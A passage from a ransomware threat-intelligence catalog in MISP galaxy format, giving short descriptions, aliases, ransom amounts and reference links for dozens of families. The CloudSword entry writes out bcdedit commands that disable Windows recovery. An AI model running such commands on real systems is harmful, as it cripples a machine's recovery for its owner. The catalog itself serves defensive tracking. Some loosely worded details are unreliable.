The tag is: *misp-galaxy:ransomware="of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"*

Table 13019. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html

RansomPlus

Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="RansomPlus"*

Table 13020. Table References

Links
http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html
https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html
https://twitter.com/jiriatvirlab/status/825411602535088129

CryptConsole

This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files

The tag is: *misp-galaxy:ransomware="CryptConsole"*

Table 13021. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html
https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/
https://twitter.com/PolarToffee/status/824705553201057794
https://twitter.com/demonslay335/status/1004351990493741057
https://twitter.com/demonslay335/status/1004803373747572736

ZXZ Ramsomware

Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A

The tag is: *misp-galaxy:ransomware="ZXZ Ramsomware"*

Table 13022. Table References

Links
https://www.bleepingcomputer.com/forums/t/638191/zxz-ransomware-support-help-topic-zxz/?hl=%2Bzxz#entry4168310
https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html

VxLock Ransomware

Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc

The tag is: *misp-galaxy:ransomware="VxLock Ransomware"*

Table 13023. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html

FunFact Ransomware

Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.

The tag is: *misp-galaxy:ransomware="FunFact Ransomware"*

Table 13024. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/funfact.html
http://www.enigmasoftware.com/funfactransomware-removal/

ZekwaCrypt Ransomware

First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: *misp-galaxy:ransomware="ZekwaCrypt Ransomware"*

Table 13025. Table References

Links
https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html
http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html

Sage 2.0 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker

The tag is: *misp-galaxy:ransomware="Sage 2.0 Ransomware"*

Table 13026. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/sage-2-ransomware.html
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
http://www.securityweek.com/sage-20-ransomware-demands-2000-ransom
https://www.bleepingcomputer.com/news/security/sage-2-0-ransomware-gearing-up-for-possible-greater-distribution/
https://www.govcert.admin.ch/blog/27/sage-2.0-comes-with-ip-generation-algorithm-ipga

CloudSword Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. Uses the name "Window Update" to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

The tag is: *misp-galaxy:ransomware="CloudSword Ransomware"*

Table 13027. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html
http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/
https://twitter.com/BleepinComputer/status/822653335681593345

DN

It's directed to English speaking users, therefore is able to infect worldwide. Uses the name "Chrome Update" to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!

The tag is: *misp-galaxy:ransomware="DN"*

DN is also known as:

- Fake

Table 13028. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html

GarryWeber Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, etc..

The tag is: *misp-galaxy:ransomware="GarryWeber Ransomware"*

Table 13029. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/garryweber.html

Satan Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS

The tag is: *misp-galaxy:ransomware="Satan Ransomware"*

View relationships graph

Satan Ransomware has relationships with:

- similar: misp-galaxy:malpedia="Satan" with estimative-language:likelihood-probability="likely"

Table 13030. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html
https://www.bleepingcomputer.com/forums/t/637811/satan-ransomware-help-support-topic-stn-extension-help-decrypt-fileshtml/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-20th-2017-satan-raas-spora-locky-and-more/
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://twitter.com/Xylit0l/status/821757718885236740

Havoc

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Havoc"*

Havoc is also known as:

- HavocCrypt Ransomware

View relationships graph

Havoc has relationships with:

- used-by: misp-galaxy:threat-actor="SloppyLemming" with estimative-language:likelihood-probability="likely"

Table 13031. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html

CryptoSweetTooth Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Its fake name is Bitcoin and maker's name is Santiago. Work of the encrypted requires the user to have .NET Framework 4.5.2. on his computer.

The tag is: *misp-galaxy:ransomware="CryptoSweetTooth Ransomware"*

Table 13032. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html
http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/

Kaandsona Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The word Kaandsona is Estonian, therefore the creator is probably from Estonia. Crashes before it encrypts

The tag is: *misp-galaxy:ransomware="Kaandsona Ransomware"*

Kaandsona Ransomware is also known as:

- RansomTroll Ransomware
- Käändsõna Ransomware

Table 13033. Table References

Links

https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html
https://twitter.com/BleepinComputer/status/819927858437099520

LambdaLocker Ransomware

It's directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: *misp-galaxy:ransomware="LambdaLocker Ransomware"*

Table 13034. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html
http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/

NMoreia 2.0 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreia 2.0 Ransomware"*

NMoreia 2.0 Ransomware is also known as:

- HakunaMatataRansomware

Table 13035. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html
https://id-ransomware.blogspot.co.il/2016_03_01_archive.html

Marlboro Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it's just XOR)

The tag is: *misp-galaxy:ransomware="Marlboro Ransomware"*

Table 13036. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/marlboro.html
https://decrypter.emsisoft.com/marlboro
https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/

Spora Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png

The tag is: *misp-galaxy:ransomware="Spora Ransomware"*

Table 13037. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/spora-ransomware.html
https://blog.gdatasoftware.com/2017/01/29442-spora-worm-and-ransomware
http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/

CryptoKill Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files get encrypted, but the decrypt key is not available. NO POINT OF PAYING THE RANSOM, THE FILES WILL NOT BE RETURNED.

The tag is: *misp-galaxy:ransomware="CryptoKill Ransomware"*

Table 13038. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html

All_Your_Documents Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="All_Your_Documents Ransomware"*

Table 13039. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html

SerbRansom 2017 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 500$ in bitcoins. The name of the hacker is R4z0rx0r Serbian Hacker.

The tag is: *misp-galaxy:ransomware="SerbRansom 2017 Ransomware"*

Table 13040. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html
https://www.bleepingcomputer.com/news/security/ultranationalist-developer-behind-serbransom-ransomware/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-10th-2017-serpent-spora-id-ransomware/
https://twitter.com/malwrhunterteam/status/830116190873849856

Fadesoft Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom is 0.33 bitcoins.

The tag is: *misp-galaxy:ransomware="Fadesoft Ransomware"*

Table 13041. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/fadesoft-ransomware.html
https://twitter.com/malwrhunterteam/status/829768819031805953
https://twitter.com/malwrhunterteam/status/838700700586684416

HugeMe Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="HugeMe Ransomware"*

Table 13042. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html
https://www.ozbargain.com.au/node/228888?page=3
https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html

DynA-Crypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="DynA-Crypt Ransomware"*

DynA-Crypt Ransomware is also known as:

- DynA CryptoLocker Ransomware

Table 13043. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html
https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/

Serpent 2017 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Serpent 2017 Ransomware"*

Serpent 2017 Ransomware is also known as:

- Serpent Danish Ransomware

Table 13044. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html

Erebus 2017 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Erebus 2017 Ransomware"*

Table 13045. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Cyber Drill Exercise

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Cyber Drill Exercise "*

Cyber Drill Exercise is also known as:

- Ransomuhahawhere

Table 13046. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html

Cancer Ransomware FAKE

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.

The tag is: *misp-galaxy:ransomware="Cancer Ransomware FAKE"*

Table 13047. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html
https://www.bleepingcomputer.com/news/security/watch-your-computer-go-bonkers-with-cancer-trollware/

UpdateHost Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Microsoft Copyright 2017 and requests ransom in bitcoins.

The tag is: *misp-galaxy:ransomware="UpdateHost Ransomware"*

Table 13048. Table References

Links
https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html
https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html

Nemesis Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 10 bitcoins.

The tag is: *misp-galaxy:ransomware="Nemesis Ransomware"*

Table 13049. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html

Evil Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Domain KZ is used, therefore it is assumed that the decrypter is from Kazakhstan. Coded in Javascript

The tag is: *misp-galaxy:ransomware="Evil Ransomware"*

Evil Ransomware is also known as:

- File0Locked KZ Ransomware

Table 13050. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html
http://www.enigmasoftware.com/evilransomware-removal/
http://usproins.com/evil-ransomware-is-lurking/
https://twitter.com/jiriatvirlab/status/818443491713884161
https://twitter.com/PolarToffee/status/826508611878793219

Ocelot Ransomware (FAKE RANSOMWARE)

It's directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03

bitcoins. It is still dangerous even though it is fake, he still go through to your computer.

The tag is: *misp-galaxy:ransomware="Ocelot Ransomware (FAKE RANSOMWARE)"*

Ocelot Ransomware (FAKE RANSOMWARE) is also known as:

- Ocelot Locker Ransomware

Table 13051. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html
https://twitter.com/malwrhunterteam/status/817648547231371264

SkyName Ransomware

It's directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="SkyName Ransomware"*

SkyName Ransomware is also known as:

- Blablabla Ransomware

Table 13052. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html
https://twitter.com/malwrhunterteam/status/817079028725190656

MafiaWare Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 155$ inbitcoins. Creator of ransomware is called Mafia. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MafiaWare Ransomware"*

MafiaWare Ransomware is also known as:

- Depsex Ransomware

Table 13053. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/mafiaware.html

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-6th-2017-fsociety-mongodb-pseudo-darkleech-and-more/
https://twitter.com/BleepinComputer/status/817069320937345024

Globe3 Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 3 bitcoins. Extesion depends on the config file. It seems Globe is a ransomware kit.

The tag is: *misp-galaxy:ransomware="Globe3 Ransomware"*

Globe3 Ransomware is also known as:

- Purge Ransomware

View relationships graph

Globe3 Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Globe2 Ransomware" with estimative-language:likelihood-probability="likely"

Table 13054. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html
https://www.bleepingcomputer.com/forums/t/624518/globe-ransomware-help-and-support-purge-extension-how-to-restore-fileshta/
https://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html
https://decrypter.emsisoft.com/globe3

BleedGreen Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg

The tag is: *misp-galaxy:ransomware="BleedGreen Ransomware"*

BleedGreen Ransomware is also known as:

- FireCrypt Ransomware

Table 13055. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

BTCamant Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Original name is Mission 1996 or Mission: "Impossible" (1996) (like the movie)

The tag is: *misp-galaxy:ransomware="BTCamant Ransomware"*

Table 13056. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/btcamant.html

X3M Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.

The tag is: *misp-galaxy:ransomware="X3M Ransomware"*

Table 13057. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html

GOG Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="GOG Ransomware"*

Table 13058. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html
https://twitter.com/BleepinComputer/status/816112218815266816

RegretLocker

RegretLocker is a new ransomware that has been found in the wild in the last month that does not only encrypt normal files on disk like other ransomwares. When running, it will particularly search for VHD files, mount them using Windows Virtual Storage API, and then encrypt all the files it finds inside of those VHD files.

The tag is: *misp-galaxy:ransomware="RegretLocker"*

Table 13059. Table References

Links
http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/

EdgeLocker

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 0.1 Bitcoins. Original name is TrojanRansom.

The tag is: *misp-galaxy:ransomware="EdgeLocker"*

Table 13060. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html
https://twitter.com/BleepinComputer/status/815392891338194945

Red Alert

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Fake name: Microsoft Corporation. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Red Alert"*

View relationships graph

Red Alert has relationships with:

- similar: misp-galaxy:malpedia="Red Alert" with estimative-language:likelihood-

probability="likely"

Table 13061. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html
https://twitter.com/JaromirHorejsi/status/815557601312329728

First

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="First"*

Table 13062. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html

XCrypt Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Written on Delphi. The user requests the victim to get in touch with him through ICQ to get the ransom and return the files.

The tag is: *misp-galaxy:ransomware="XCrypt Ransomware"*

XCrypt Ransomware is also known as:

- XCrypt

Table 13063. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html
https://twitter.com/JakubKroustek/status/825790584971472902

7Zipper Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="7Zipper Ransomware"*

Table 13064. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html
https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEQ8-pcJmsXIntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png

Zyka Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 170$ or EUR in Bitcoins.

The tag is: *misp-galaxy:ransomware="Zyka Ransomware"*

Table 13065. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html
https://www.pcrisk.com/removal-guides/10899-zyka-ransomware
https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip
https://twitter.com/GrujaRS/status/826153382557712385

SureRansom Ransomeware (Fake)

It's directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.

The tag is: *misp-galaxy:ransomware="SureRansom Ransomeware (Fake)"*

Table 13066. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html
http://www.forbes.com/sites/leemathews/2017/01/27/fake-ransomware-is-tricking-people-into-paying/#777faed0381c

Netflix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.

The tag is: *misp-galaxy:ransomware="Netflix Ransomware"*

Table 13067. Table References

Links
https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/
https://www.bleepingcomputer.com/news/security/rogue-netflix-app-spreads-netix-ransomware-that-targets-windows-7-and-10-users/
http://www.darkreading.com/attacks-breaches/netflix-scam-spreads-ransomware/d/d-id/1328012
https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHoIRz3Ezth22-wCEw/s1600/form1.jpg
https://4.bp.blogspot.com/-ZnWdPDprJOg/WJCPeCtP4HI/AAAAAAAADfw/kR0ifI1naSwTAwSuOPiw8ZCPr0tSIz1CgCLcB/s1600/netflix-akk.png

Merry Christmas

It's directed to English and Italian speaking users, therefore is able to infect worldwide. Most attacks are on organizations and servers. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. They pose as a Consumer complaint notification that's coming from Federal Trade Commission from USA, with an attached file called "complaint.pdf". Written in Delphi by hacker MicrRP.

The tag is: *misp-galaxy:ransomware="Merry Christmas"*

Merry Christmas is also known as:

- Merry X-Mas
- MRCR

Table 13068. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/mrcr1-ransomware.html
https://www.bleepingcomputer.com/news/security/-merry-christmas-ransomware-now-steals-user-private-data-via-diamondfox-malware/
http://www.zdnet.com/article/not-such-a-merry-christmas-the-ransomware-that-also-steals-user-data/
https://www.bleepingcomputer.com/news/security/merry-christmas-ransomware-and-its-dev-comodosecurity-not-bringing-holiday-cheer/
https://decrypter.emsisoft.com/mrcr

Seoirse Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Seoirse is how in Ireland people say the name George. Ransom is 0.5 Bitcoins.

The tag is: *misp-galaxy:ransomware="Seoirse Ransomware"*

Table 13069. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/seoirse-ransomware.html

KillDisk Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Every file is encrypted with a personal AES-key, and then AES-key encrypts with a RSA-1028 key. Hacking by TeleBots (Sandworm). Goes under a fake name: Update center or Microsoft Update center.

The tag is: *misp-galaxy:ransomware="KillDisk Ransomware"*

Table 13070. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/killdisk-ransomware.html
https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/
http://www.zdnet.com/article/247000-killdisk-ransomware-demands-a-fortune-forgets-to-unlock-files/
http://www.securityweek.com/destructive-killdisk-malware-turns-ransomware
http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/
https://cyberx-labs.com/en/blog/new-killdisk-malware-brings-ransomware-into-industrial-domain/

DeriaLock Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Maker is arizonacode and ransom amount is 20-30$. If the victim decides to pay the ransom, he will have to copy HWID and then speak to the

hacker on Skype and forward him the payment.

The tag is: *misp-galaxy:ransomware="DeriaLock Ransomware"*

Table 13071. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/derialock-ransomware.html
https://www.bleepingcomputer.com/news/security/new-derialock-ransomware-active-on-christmas-includes-an-unlock-all-command/

BadEncript Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="BadEncript Ransomware"*

Table 13072. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/badencript-ransomware.html
https://twitter.com/demonslay335/status/813064189719805952

AdamLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The name of the creator is puff69.

The tag is: *misp-galaxy:ransomware="AdamLocker Ransomware"*

Table 13073. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/adamlocker-ransomware.html

Alphabet Ransomware

